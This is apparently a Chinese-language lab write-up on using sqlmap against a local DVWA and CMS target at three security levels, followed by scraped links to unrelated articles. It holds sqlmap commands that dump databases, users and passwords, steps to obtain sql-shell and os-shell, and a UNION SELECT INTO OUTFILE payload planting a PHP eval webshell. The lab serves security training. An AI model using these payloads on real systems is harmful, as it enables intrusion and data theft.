使用sqlmap
实验环境要求:
1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB
2、安装VMware Workstation 14以上
总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。

任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞(low)
- 测试dvwa注入点,截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

- 列出所有数据库,截图

- 获取数据表,截图

- 获取数据,截图

- 获取所有管理用户,截图

- 获取用户密码,截图

任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞(medium)
- 测试dvwa注入点,截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察可以看出为POST表单

使用Burp劫获POST信息

将信息保存成文件

使用文件进行攻击

- 列出所有数据库,截图

- 获取数据表,截图

- 获取数据,截图

- 获取所有管理用户,截图

- 获取用户密码,截图

任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞(high)
- 测试dvwa注入点,截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
观察页面信息为POST表单

原始方法肯定不行,所以再试试刚才的方法

保持请求


试过后发现失败


查看源码后使用二阶SQL注入—second-order

- 列出所有数据库,截图

- 获取数据表,截图

- 获取数据,截图


- 获取所有管理用户,截图

- 获取用户密码,截图

拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞
- 测试cms注入点,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1

- 列出所有数据库,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs

- 获取数据表,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables

- 获取数据,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa


- 获取所有管理用户,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users


- 获取用户密码,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords

拓展任务二、通过sql注入漏洞获取sql-shell和os-shell
- 使用sqlmap查看当前用户是否为dba,截图


- 使用sqlmap获取sql-shell,截图

- 使用sqlmap获取os-shell,截图
直接使用命令是错误的

我们需要在靶机修改一些参数来实现


重启服务


- 通过sql注入漏洞上传一句话木马,截图
1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #
执行不了说明没有权限,修改dvwa文件权限




使用sqlmap的更多相关文章
- 关于sqlmap的使用
好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...
- SQLMap Tamper Scripts Update 04/July/2016
SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...
- 定制sqlmap tamper脚本
前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...
- sqlmap --dns-domain模拟实践
因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...
- 防止sql注入和sqlmap介绍
sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...
- sqlmap 帮助信息
Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...
- sqlmap用户手册 | WooYun知识库
sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143 ============ ...
- sqlmap http头注入的一个技巧
sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql --current-d ...
- 利用sqlmap进行mysql提权的小方法(win与liunx通用)
文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...
- 4.羽翼sqlmap学习笔记之Post登录框注入
4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...
随机推荐
- Spring Boot + Elasticsearch 使用示例
本文分别使用 Elasticsearch Repository 和 ElasticsearchTemplate 实现 Elasticsearch 的简单的增删改查 一.Elastic Stack El ...
- Python音视频剪辑库MoviePy1.0.3中文教程导览及可执行工具下载
☞ ░ 前往老猿Python博文目录 ░ 一.简介 MoviePy是一个用于视频编辑的Python模块,可用于进行视频的基本操作(如剪切.拼接.标题插入).视频合成(也称非线性编辑).视频处理或创建高 ...
- 第3.10节 Python强大的字符串格式化新功能:使用format字符串格式化
一. 引言 前面两节介绍的字符串格式化方法,都有其本身对应的缺陷,老猿不建议大家使用,之所以详细介绍主要是考虑历史代码的兼容性,方便大家理解前人留下的代码.老猿推荐大家新编码时使用format方 ...
- PyQt(Python+Qt)学习随笔:树型部件QTreeWidget中使用findItems搜索项
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 在QTreeWidget类实例的树型部件中,可以根据文本.搜索列以及匹配模式来搜索满足条件的项,调用 ...
- 深海 => 暴力扫描挖掘机
平时总是联动这个联动那个,写一些小脚本,感觉零碎又没啥意思,想把市面上一些比较知名的工具集合一下,弄个方便点的躺着挖洞的工具,看看效果会不会更好,暂时名字取深海吧,估计又是一个迟迟不填的坑,灌灌灌灌水
- HTTP慢速拒绝服务攻击(Slow HTTP Dos)
HTTP慢速拒绝服务攻击简介 HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用 ...
- pandas 处理缺失值(连续值取平均,离散值fillna"<unk>")
# 2.1处理缺失值,连续值用均值填充 continuous_fillna_number = [] for i in train_null_ix: if(i in continuous_ix): me ...
- Java对象操作工具
对象复制(反射法) public static void copyProp(Object from, Object to, String... filterProp) { HashSet<Str ...
- 获取radio的值及重置radio
获取:$('input[name=age]:checked').val(); 重置:$('input:radio[name=age]').prop('checked',false);
- java中==和equals的不同使用方法
System.out.println("input a charact a "); Scanner input2 = new Scanner(System.in); St ...